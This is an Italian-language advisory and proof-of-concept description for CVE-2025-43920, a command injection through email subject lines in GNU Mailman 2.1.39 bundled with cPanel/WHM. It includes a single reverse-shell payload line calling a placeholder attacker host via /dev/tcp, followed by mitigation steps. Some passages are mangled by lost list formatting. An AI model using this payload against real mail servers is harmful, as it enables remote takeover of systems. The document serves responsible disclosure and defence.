
Proof-of-concept exploit per CVE-2025-43920, una vulnerabilità di iniezione di comandi in GNU Mailman 2.1.39 tramite righe dell'oggetto delle email, che consente l'esecuzione remota di codice e l'accesso a una reverse shell.
Scoperto da: Firudin Davudzada & Musazada Aydan
Data di divulgazione: Aprile 2025
CVE ID: CVE-2025-43920
Gravità: 5.4 Media (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Tipo di attacco: Remoto
Software interessato: GNU Mailman 2.1.39 (in bundle con cPanel/WHM)
GNU Mailman 2.1.39, come fornito in bundle con cPanel e WHM, è vulnerabile a un grave difetto di iniezione di comandi che consente ad aggressori non autenticati di eseguire comandi arbitrari del sistema operativo. La vulnerabilità si verifica quando un archiviatore esterno è configurato utilizzando PUBLIC_EXTERNAL_ARCHIVER o PRIVATE_EXTERNAL_ARCHIVER nel file di configurazione mm_cfg.py, e la riga dell'oggetto dell'email contiene metacaratteri della shell che non vengono adeguatamente sanificati. Ciò può portare alla compromissione totale del sistema, consentendo agli aggressori di stabilire shell inverse, esfiltrare dati o eseguire altre azioni dannose.
PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (logica di elaborazione dell'oggetto dell'email, potenzialmente inclusi file come CookHeaders.py);, &, |).Per sfruttare questa vulnerabilità, un aggressore può inviare un'email a una lista gestita da Mailman con una riga dell'oggetto dannosa, ad esempio:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Prerequisiti:
PUBLIC_EXTERNAL_ARCHIVER o PRIVATE_EXTERNAL_ARCHIVER.netcat) deve essere configurato su ATTACKERIP:4444 per ricevere la shell inversa.Risultato atteso: Se il comando dell'archiviatore esterno non sanifica la riga dell'oggetto, il comando dannoso viene eseguito sul server, stabilendo una shell inversa verso il server dell'aggressore.
Disabilitare gli archiviatori esterni: Impostare PUBLIC_EXTERNAL_ARCHIVER e PRIVATE_EXTERNAL_ARCHIVER su None in mm_cfg.py per disabilitare la funzionalità di archiviatore esterno:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
Sanificare gli input: Se un archiviatore esterno è necessario, assicurarsi che il comando sanifichi la riga dell'oggetto per prevenire l'iniezione di metacaratteri della shell.
Limitare le iscrizioni: Limitare le iscrizioni alle mailing list agli utenti fidati per ridurre l'esposizione.
Firudin Davudzada e Musazada Aydan hanno divulgato responsabilmente questa vulnerabilità durante un impegno di penetration testing autorizzato. Grazie al team MITRE CVE per il coordinamento.
Email: [email protected]\